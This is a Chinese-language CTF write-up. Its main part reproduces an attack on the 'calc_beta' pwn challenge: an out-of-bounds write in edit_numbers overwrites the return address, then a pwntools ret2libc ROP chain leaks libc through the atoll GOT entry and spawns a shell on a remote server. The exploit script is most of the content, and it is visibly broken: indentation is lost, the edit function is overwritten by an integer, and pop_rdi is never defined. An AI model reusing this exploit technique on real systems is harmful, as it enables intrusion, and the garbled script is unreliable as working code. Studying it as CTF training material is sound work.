Week1

第一周的题都比较简单,就想说一下GNU那道比较新颖,挺好玩的。

GNU Debugger

一道比较新颖的题目,让新手熟悉gdb的操作。跟着做就能获得shell。

Week2

calc_beta

一道不错的计算器类的题目,之前没怎么遇到过,记录一下复现的过程。(这需要对栈的一些结构非常熟悉)

64位题目,开启了NX与canary保护

从ida中可以看出,通过选择不同的函数执行不同的指令,根据提示可以知道,本次题目的漏洞应该就在前三个函数中。分别进入三个函数里面看,发现只有edit_numbers函数是我们可以进行输入操作的,因此猜测这里存在漏洞。

edit_numbers这个函数主要执行修改操作,先选择一块大小为8的区域,再输入数据,大致结构应该是这样(由于本题的漏洞利用没涉及到canary,就没在图中表示出来)

那不难发现若我们先选择输入0,那么我们再输入的数据会存储到-1这个地方,而这个地方正是存储edit_numbers这个函数的返回地址,因此可以通过这一点我们来构造rop链。

通过测试发现,确实和上述推理是一样的,接下来大致跟ret2libc一样了。(在这里exp借鉴了下其他师傅的了,感觉lambda确实挺简便的)

from pwn import *
context(arch='amd64',log_level='debug')
file = './calc'
elf = ELF(file)
libc = ELF("./calclibc.so.6")

s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
inf = lambda s :info(f"{s} ==> 0x{eval(s):x}")

def edit(number,data):
ru("5. Exit")
sl("2")
ru("Which number?")
sl(str(number))
ru("Change to what?")
sl(str(data))

p=remote('39.106.57.152',37134)

beta_puts=0x400857
edit=0x40116A
atoll_got = elf.got['atoll']
rdi=0x401253
ret=0x4006b6
rsi_r15=0x401251


edit(1,atoll_got)
edit(2,beta_puts)
edit(3,ret)
edit(4,edit)
edit(0,pop_rdi)

ru("> ")
atoll_addr=u64(p.recv(6).ljust(8,b"\x00"))
print("write_addr",atoll_addr)
libcbase = atoll_addr - libc.symbols['atoll']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))

ru("> ")
sl("8")
ru("Change to what?")
sl(str(binsh_addr))
edit(6,binsh_addr)
edit(7,system_addr)
edit(5,pop_rdi)
edit(4,ret)
p.interactive()